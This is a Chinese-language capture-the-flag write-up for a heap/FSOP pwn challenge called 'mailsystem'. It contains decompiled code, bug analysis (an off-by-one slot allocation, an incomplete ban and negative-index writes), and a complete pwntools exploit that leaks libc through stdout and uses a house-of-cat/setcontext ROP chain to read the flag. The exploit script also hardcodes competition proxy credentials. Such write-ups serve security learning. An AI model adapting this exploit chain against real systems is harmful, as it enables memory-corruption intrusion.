0x00

只有一题,比赛中本地打通了, 被远程卡了 一个多小时。。

0x01 mailsystem

一个邮件管理系统, 有useradmin

先逆向, 改完函数名然后自定义了一个userstruct结构体就好看多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00000000 struct UserStruct // sizeof=0x410
00000000 {
00000000 char inbox_content[256];
00000100 __int64 draft_size;
00000108 __int64 field_108;
00000110 char draft_content[256];
00000210 __int64 inbox_size;
00000218 char gap_218[96];
00000278 __int64 user_id;
00000280 char gap_280[24];
00000298 char username[40];
000002C0 char password[40];
000002E8 char gap_2E8[32];
00000308 __int64 has_inbox;
00000310 __int64 has_draft;
00000318 char gap_318[112];
00000388 __int64 is_active;
00000390 char gap_390[128];
00000410 };

注册用户时会申请这样的user结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
unsigned __int64 register_user(void)
{
int v1; // [rsp+Ch] [rbp-54h]
char s1[32]; // [rsp+10h] [rbp-50h] BYREF
char src[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+58h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = alloc_user_slot(user_table);
if ( v1 != -1 )
{
printf("Input your name: ");
__isoc99_scanf("%31s", s1);
if ( !strcmp(s1, "admin") )
{
puts("Username illegal!");
putchar(10);
free(user_table[v1]);
user_table[v1] = 0LL;
}
else
{
strcpy(user_table[v1]->username, s1);
printf("Input your password: ");
__isoc99_scanf("%31s", src);
strcpy(user_table[v1]->password, src);
printf("Registered user: %s\n", s1);
puts("Registration successful!");
putchar(10);
}
}
return v4 - __readfsqword(0x28u);
}

__int64 __fastcall alloc_user_slot(UserStruct **user_table)
{
int n7; // [rsp+14h] [rbp-Ch]
int i; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]

n7 = 0;
for ( i = 0; i <= 11; ++i )
{
if ( user_table[i] && user_table[i]->user_id )
++n7;
}
if ( n7 <= 7 )
{
for ( j = 0; ; ++j )
{
if ( j > 12 )
return 0xFFFFFFFFLL;
if ( !user_table[j] || user_table[j]->is_active != 1 )
break;
}
user_table[j] = (UserStruct *)malloc(0x410uLL);
memset(user_table[j], 0, sizeof(UserStruct));
if ( !user_table[j] )
{
perror("malloc failed");
exit(-1);
}
user_table[j]->user_id = j + 1;
user_table[j]->is_active = 1LL;
return (unsigned int)j;
}
else
{
puts("User full!");
return 0xFFFFFFFFLL;
}
}

这里 j > 12 的检查存在边界问题, 导致可以多申请一个, 向后覆盖到 admin 的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for ( i = 0; i <= 11; ++i )
{
if ( user_table[i] && user_table[i]->user_id )
++n7;
}
if ( n7 <= 7 )
{
for ( j = 0; ; ++j )
{
if ( j > 12 )
return 0xFFFFFFFFLL;
if ( !user_table[j] || user_table[j]->is_active != 1 )
break;
}
user_table[j] = (UserStruct *)malloc(0x410uLL);
memset(user_table[j], 0, sizeof(UserStruct));
...

这里要求 user_table[i]->user_id 合法的块不多于七个, 而后面申请块检查却只检查user_table[j]->is_active

再找到发送邮件的函数里有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 __fastcall send_mail(UserStruct *s)
{
char n121; // [rsp+1Bh] [rbp-25h] BYREF
int n12_1; // [rsp+1Ch] [rbp-24h] BYREF
size_t n; // [rsp+20h] [rbp-20h]
int n12[2]; // [rsp+28h] [rbp-18h]
char *v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
puts("Who do you want to send the mail to? (input user ID 1-12)");
if ( (unsigned int)__isoc99_scanf("%d", &n12_1) == 1 )
{
if ( n12_1 > 0 && n12_1 <= 12 )
{
if ( user_table[n12_1 - 1] )
{
if ( s->has_draft )
{
*(_QWORD *)n12 = s->user_id;
v6 = (char *)&qword_70E0[-1] + 272 * *(_QWORD *)n12 - 8;
++*((_DWORD *)v6 + 2);
if ( (unsigned int)check_rate_limit(n12[0]) )
{
return 1LL;
}
else if ( !user_table[n12_1 - 1]->has_inbox
|| (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", n12_1),
__isoc99_scanf(" %c", &n121),
n121 == 121)
|| n121 == 89 )
{
n = s->draft_size;
if ( n > 0x100 )
n = 256LL;
user_table[n12_1 - 1]->has_inbox = 1LL;
memcpy(user_table[n12_1 - 1], s->draft_content, n);
user_table[n12_1 - 1]->inbox_size = n;
s->has_draft = 0LL;
printf("Mail sent to user %d!\n", n12_1);
putchar(10);
return 0LL;
}
else
{
puts("Mail sending cancelled.");
putchar(10);
return 0LL;
}
}
else
{
puts("No draft to send! Please write a mail first.");
putchar(10);
return 0LL;
}
}
else
{
puts("User does not exist!");
putchar(10);
return 0LL;
}
}
else
{
puts("Invalid user ID! Must be between 1 and 12.");
putchar(10);
return 0LL;
}
}
else
{
puts("Invalid input!");
while ( getchar() != 10 )
;
putchar(10);
return 0LL;
}
}

有一个关于发送速率的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall check_rate_limit(int user_id)
{
time_t v2; // [rsp+10h] [rbp-20h]
char *v3; // [rsp+18h] [rbp-18h]
UserStruct *v4; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]

v2 = time(0LL);
v3 = (char *)&qword_70E0[-1] + 272 * user_id - 8;
if ( v2 - *(_QWORD *)v3 > 10 || *((int *)v3 + 2) <= 4 )
{
if ( v2 - *(_QWORD *)v3 > 10 )
{
*((_DWORD *)v3 + 2) = 0;
*(_QWORD *)v3 = v2;
}
return 0LL;
}
else
{
printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", user_id);
if ( user_id > 0 && user_id <= 12 && user_table[user_id - 1] )
{
v4 = user_table[user_id - 1];
*(_QWORD *)v4->username = 0x6C6167656C6C69LL;
stream = fopen("/dev/urandom", "rb");
if ( stream )
{
fread(v4->password, 1uLL, 0x10uLL, stream);
fclose(stream);
}
v4->user_id = 0LL;
puts("Account has been banned!");
puts("Returning to login menu...\n");
}
return 1LL;
}
}

十秒内发超过五封就会封号, 但是可以看到只令 v4->user_id = 0LL;, 没有改user_table[j]->is_active。那么我们就可以先注册七个用户,然后快速发送邮件封掉五个, 然后再注册五个。这样就可以把 admin覆盖掉

1
2
3
4
5
.bss:0000000000007060 user_table      dq 0Ch dup(?)           ; DATA XREF: check_rate_limit+A7↑o
.bss:0000000000007060 ; check_rate_limit+CB↑o ...
.bss:00000000000070C0 ; void *s_0
.bss:00000000000070C0 s_0 dq ? ; DATA XREF: init_system+BC↑w
.bss:00000000000070C0 ; init_system+C3↑r ...

这里的 s_0就是 admin 的块, 可以覆盖其用户名和密码都为\x00,然后就能登录为admin

admin操作函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned __int64 admin_system()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
puts("=== Admin Menu ===");
puts("1. Change user info");
puts("2. Delete user");
puts("3. Mail to user");
puts("4. Mail user to user");
puts("5. Logout");
printf("Your choice: ");
v1 = 0;
if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
break;
while ( getchar() != 10 )
;
puts("Invalid input!");
putchar(10);
}
switch ( v1 )
{
case 1:
admin_change_user_info();
break;
case 2:
admin_delete_user();
break;
case 3:
admin_mail_to_user();
break;
case 4:
admin_forward_mail();
break;
case 5:
puts("Logging out as admin...");
putchar(10);
return v2 - __readfsqword(0x28u);
default:
puts("Invalid choice!");
putchar(10);
break;
}
}

这里面的 admin_forward_mail(); 可以看到没有检查负索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
unsigned __int64 admin_forward_mail(void)
{
int n12; // [rsp+Ch] [rbp-34h] BYREF
int n12_1; // [rsp+10h] [rbp-30h] BYREF
int n2; // [rsp+14h] [rbp-2Ch] BYREF
size_t n; // [rsp+18h] [rbp-28h]
size_t inbox_size; // [rsp+20h] [rbp-20h]
void *src_1; // [rsp+28h] [rbp-18h]
void *src; // [rsp+30h] [rbp-10h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]

v8 = __readfsqword(0x28u);
printf("Enter source user ID (whose mail to forward): (1-12) ");
if ( (unsigned int)__isoc99_scanf("%d", &n12) != 1 )
{
puts("Invalid source user ID!");
while ( getchar() != 10 )
;
goto LABEL_40;
}
printf("Enter destination user ID (1-12): ");
if ( (unsigned int)__isoc99_scanf("%d", &n12_1) != 1 )
{
puts("Invalid destination user ID!");
while ( getchar() != 10 )
;
goto LABEL_40;
}
if ( n12 > 12 )
{
puts("Source user ID out of range!");
putchar(10);
}
else if ( user_table[n12 - 1] )
{
if ( n12_1 > 12 )
{
puts("Destination user ID out of range!");
putchar(10);
}
else if ( user_table[n12_1 - 1] )
{
if ( !user_table[n12_1 - 1]->has_inbox
|| (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", n12_1),
__isoc99_scanf(" %c", &n2),
(_BYTE)n2 == 121)
|| (_BYTE)n2 == 89 )
{
if ( n12 > 12 )
{
LABEL_40:
putchar(10);
return v8 - __readfsqword(0x28u);
}
puts("Which mail would you like to forward?");
puts("1. User's draft");
puts("2. User's inbox mail");
printf("Your choice: ");
if ( (unsigned int)__isoc99_scanf("%d", &n2) != 1 )
{
puts("Invalid input!");
while ( getchar() != 10 )
;
goto LABEL_40;
}
if ( n12_1 <= 12 )
user_table[n12_1 - 1]->has_inbox = 1LL;
if ( n2 == 1 )
{
if ( n12_1 <= 12 )
{
n = user_table[n12 - 1]->draft_size;
if ( n > 0x100 )
n = 256LL;
src = user_table[n12 - 1]->draft_content;
memcpy(user_table[n12_1 - 1], src, n);
user_table[n12_1 - 1]->inbox_size = n;
}
}
else
{
if ( n2 != 2 )
{
puts("Invalid choice!");
putchar(10);
return v8 - __readfsqword(0x28u);
}
if ( n12_1 <= 12 )
{
inbox_size = user_table[n12 - 1]->inbox_size;
if ( inbox_size > 0x100 )
inbox_size = 256LL;
src_1 = user_table[n12 - 1];
memcpy(user_table[n12_1 - 1], src_1, inbox_size);
user_table[n12_1 - 1]->inbox_size = inbox_size;
}
}
printf("Mail forwarded from index %d to index %d!\n", n12, n12_1);
}
else
{
puts("Forwarding cancelled.");
putchar(10);
}
}
else
{
printf("Destination user %d does not exist!\n", n12_1);
putchar(10);
}
}
else
{
printf("Source user %d does not exist!\n", n12);
putchar(10);
}
return v8 - __readfsqword(0x28u);
}

n12n12_1 都可以是负数,那么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.bss:0000000000007020 _bss            segment align_32 public 'BSS' use64
.bss:0000000000007020 assume cs:_bss
.bss:0000000000007020 ;org 7020h
.bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020 public stdout
.bss:0000000000007020 ; FILE *stdout
.bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o
.bss:0000000000007020 ; init_system+2A↑r
.bss:0000000000007020 ; Copy of shared data
.bss:0000000000007028 align 10h
.bss:0000000000007030 public stdin
.bss:0000000000007030 ; FILE *stdin
.bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o
.bss:0000000000007030 ; init_system+C↑r
.bss:0000000000007030 ; Copy of shared data
.bss:0000000000007038 align 20h
.bss:0000000000007040 public stderr
.bss:0000000000007040 ; FILE *stderr
.bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o
.bss:0000000000007040 ; init_system+48↑r
.bss:0000000000007040 ; Copy of shared data
.bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048 ; sub_13E0+2C↑w
.bss:0000000000007049 align 20h
.bss:0000000000007060 ; UserStruct *user_table[12]
.bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: check_rate_limit+A7↑o
.bss:0000000000007060 ; check_rate_limit+CB↑o ...
.bss:00000000000070C0 ; void *s_0
.bss:00000000000070C0 s_0 dq ?

就可以向后写 stdoutstderrstdin

只需要先 admin_mail_to_user();数据到某个用户,再利用admin_forward_mail();转发到 stdoutstderrstdin即可,且不用担心 0 截断, 因为内部使用 memcpy

1
2
3
4
5
6
7
8
src = user_table[n12 - 1]->draft_content;
memcpy(user_table[n12_1 - 1], src, n);
user_table[n12_1 - 1]->inbox_size = n;
...
src_1 = user_table[n12 - 1];
memcpy(user_table[n12_1 - 1], src_1, inbox_size);
user_table[n12_1 - 1]->inbox_size = inbox_size;
...

那么就可以打 stdout 来 leak 出 libc_base ,然后用 house of catsetcontext 再写stdout进行 ROP

这里数据一次只能写0x100, 那么就可以把 ROPchain 写到 stderr

最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
filename = "pwn_patched"
libcname = "./libc.so.6"
# --- 靶机与代理信息配置 ---
# 代理服务器信息(外部访问点)
proxy_host = "2.dart.ccsssc.com"
proxy_port = 26303
proxy_user = "cwug6jh3"
proxy_pass = "pcx4je6i"

# 目标题目地址(内网 IP)
target_host = "192.0.100.2"
target_port = 9999

# 设置全局代理,后续所有的 remote() 都会自动走这个隧道
context.proxy = (socks.SOCKS5, proxy_host, proxy_port, True, proxy_user, proxy_pass)
host = "11262f96-1647-48e0-bff3-ff47147053fb.48.dart.ccsssc.com"
port = 26303
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x30ae)
b *$rebase(0x319c)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.12/amd64/libc6-dbg_2.35-0ubuntu3.12_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.12/amd64/glibc-source_2.35-0ubuntu3.12_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(target_host, target_port)
else:
return gdb.debug(elf.path, gdbscript=gs)

def main_menu():
io.recvuntil(b'Your choice: ')

def ch(num):
io.recvuntil(b'Your choice: ')
io.sendline(str(num).encode())

def register(name, pwd):
ch(2)
io.recvuntil(b'Input your name: ')
io.sendline(name)
resp = io.recvuntil(b'Input your password: ')
io.sendline(pwd)
io.recvuntil(b'Registration successful')

def login_user(name, pwd):
ch(1)
io.recvuntil(b'Input your name: ')
io.sendline(name)
io.recvuntil(b'Input your password: ')
io.sendline(pwd)
io.recvuntil(b'Welcome back')

def user_write_draft(size, content):
ch(1)
io.recvuntil(b'How many bytes')
io.sendline(str(size).encode())
io.recvuntil(b'Write your mail content')
io.send(content)
io.recvuntil([b'Draft saved', b'Failed'])

def user_send_mail(target_id):
ch(3)
io.recvuntil(b'input user ID 1-12')
io.sendline(str(target_id).encode())
resp = io.recvuntil([b'Mail sent', b'banned', b'Returning to login', b'No draft',
b'does not exist', b'already has unread', b'Invalid'], timeout=5)
if b'already has unread' in resp:
io.recvuntil(b'(y/n): ')
io.sendline(b'y')
resp2 = io.recvuntil([b'Mail sent', b'banned', b'Returning to login'], timeout=5)
resp += resp2
return b'banned' in resp or b'Returning to login' in resp

def user_logout():
ch(4)

def ban_user(idx, send_target=2):
name, pwd = users[idx]
log.info(f'Banning user {idx} ({name})')
login_user(name, pwd)
for i in range(5):
user_write_draft(4, b'AAAA')
banned = user_send_mail(send_target)
if banned:
log.success(f'User {idx} banned after {i+1} sends!')
return True
user_logout()
return False

def admin_login(name, pwd):
ch(1)
io.recvuntil(b'Input your name: ')
io.sendline(name)
io.recvuntil(b'Input your password: ')
io.sendline(pwd)
io.recvuntil(b'=== Admin Menu ===')

def admin_mail_to_user(idx, data, leng = 0x100):
ch(3)
io.recvuntil(b'Enter user ID to send mail to : (1-12)')
io.sendline(str(idx).encode())
io.recvuntil(b'How many bytes do you want to write?')
io.sendline(str(leng).encode())
io.recvuntil(b'Enter mail content')
io.send(data)
resp = io.recvuntil([b'Mail sent', b'already has unread'], timeout=5)
if b'already has unread' in resp:
io.recvuntil(b'(y/n): ')
io.sendline(b'y')
io.recvuntil(b'Mail sent')

def admin_forward_mail(s, target):
ch(4)
io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ')
io.sendline(str(s).encode())
resp = io.recvuntil([b'Enter destination user ID (1-12): ', b'already has unread'])
if b'already has unread' in resp:
io.recvuntil(b'(y/n): ')
io.sendline(b'y')
io.recvuntil(b'Enter destination user ID (1-12): ')
io.sendline(str(target).encode())
io.recvuntil(b'Which mail would you like to forward?')
ch(2)
# io.recvuntil(b'Mail forwarded')


io = start()

users = [(f'u{i}'.encode(), b'pass') for i in range(13)]

for i in range(7):
ok = register(users[i][0], users[i][1])
log.info(f'register u{i}: {ok}')

log.success("registered 7 users")

ban_user(0, send_target=2)
register(users[7][0], users[7][1])
log.info('Registered slot 7')

ban_user(1, send_target=3)
register(users[8][0], users[8][1])
log.info('Registered slot 8')

ban_user(2, send_target=3)
register(users[9][0], users[9][1])
log.info('Registered slot 9')

ban_user(3, send_target=4)
register(users[10][0], users[10][1])
log.info('Registered slot 10')

ban_user(4, send_target=5)
register(users[11][0], users[11][1])
log.info('Registered slot 11')

# overflow to admin
register(b'test', b'test')

# s_0 now points to zeroed chunk
# s_0+50 = "\x00", s_0+104 = "\x00"*16
admin_login(b'\x00', b'\x00'*0x10)

#admin_forward_mail 有负溢出
# 选项1从source 写到 dest
# 选项2从source+0x110 写到 dest

# 0x7060-0x7020=0x40 偏移-8(-7-1)
#gdb.attach(io)
payload = p64(0xfbad1800) + p64(0)*3 + b'\x80\xb7'
admin_mail_to_user(5, payload)
admin_forward_mail(5, -7)
io.recv(0x20)
libc_base = u64(io.recv(8)) - libc.sym["_IO_2_1_stdout_"]
log.success("libc_base --> "+hex(libc_base))
#gdb.attach(io)

stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
fake_IO_addr = stdout
call_addr = libc_base + libc.sym["_IO_2_1_stderr_"]

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

pop_rdi_ret = libc_base + 0x2a3e5
ret = pop_rdi_ret + 1
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_ret = libc_base + 0x11f357 # pop rdx ; pop r12 ; ret

fake_IO = b'./flag' # _flags
fake_IO = fake_IO.ljust(0x10 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 这里控制rdx
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # _wide_data->_wide_vtable->_IO_WOVERFLOW 覆盖为setcontext+61
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(fake_IO_addr + 0x120) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x10) # _wida_data
fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(call_addr) + p64(ret) # 通过rdx,打setcontext,控制rsp为fake_IO_addr + 0x118和rip为ret来执行ROP
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x10 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(pop_rdx_ret) + p64(0x100)*2 + p64(read_addr) +\
p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

admin_mail_to_user(7, ropchain)
admin_forward_mail(7, -3) # 写入 call_addr = libc_base + libc.sym["_IO_2_1_stderr_"]

admin_mail_to_user(6, fake_IO)
ch(4)
io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ')
io.sendline(str(6).encode())
io.recvuntil(b'Enter destination user ID (1-12): ')
io.sendline(str(-7).encode())
io.recvuntil(b'(y/n): ')
io.sendline(b'y')
io.recvuntil(b'Which mail would you like to forward?')
ch(2)

io.interactive()

本地

1
2
3
4
5
6
7
8
9
[*] Switching to interactive mode
[DEBUG] Received 0x100 bytes:
00000000 66 6c 61 67 7b 6c 6f 63 61 6c 5f 66 6c 61 67 7d │flag│{loc│al_f│lag}│
00000010 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
flag{local_flag}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive

0xff

最后远程因为 stdout 的 leak 问题没通。。一开始本地直接覆盖 _IO_write_base的最低字节为 0 发现只多输出了 三个空字节

调试发现 _IO_write_ptr最低字节是\x03。调整后才 leak 出来。

远程情况又不同,覆盖低两字节\x00\x00才 leak 出大量数据,里面有 libc 地址,但是不知道高位偏移量,只能爆破。然而远程交互很慢,且调整耗时久了点。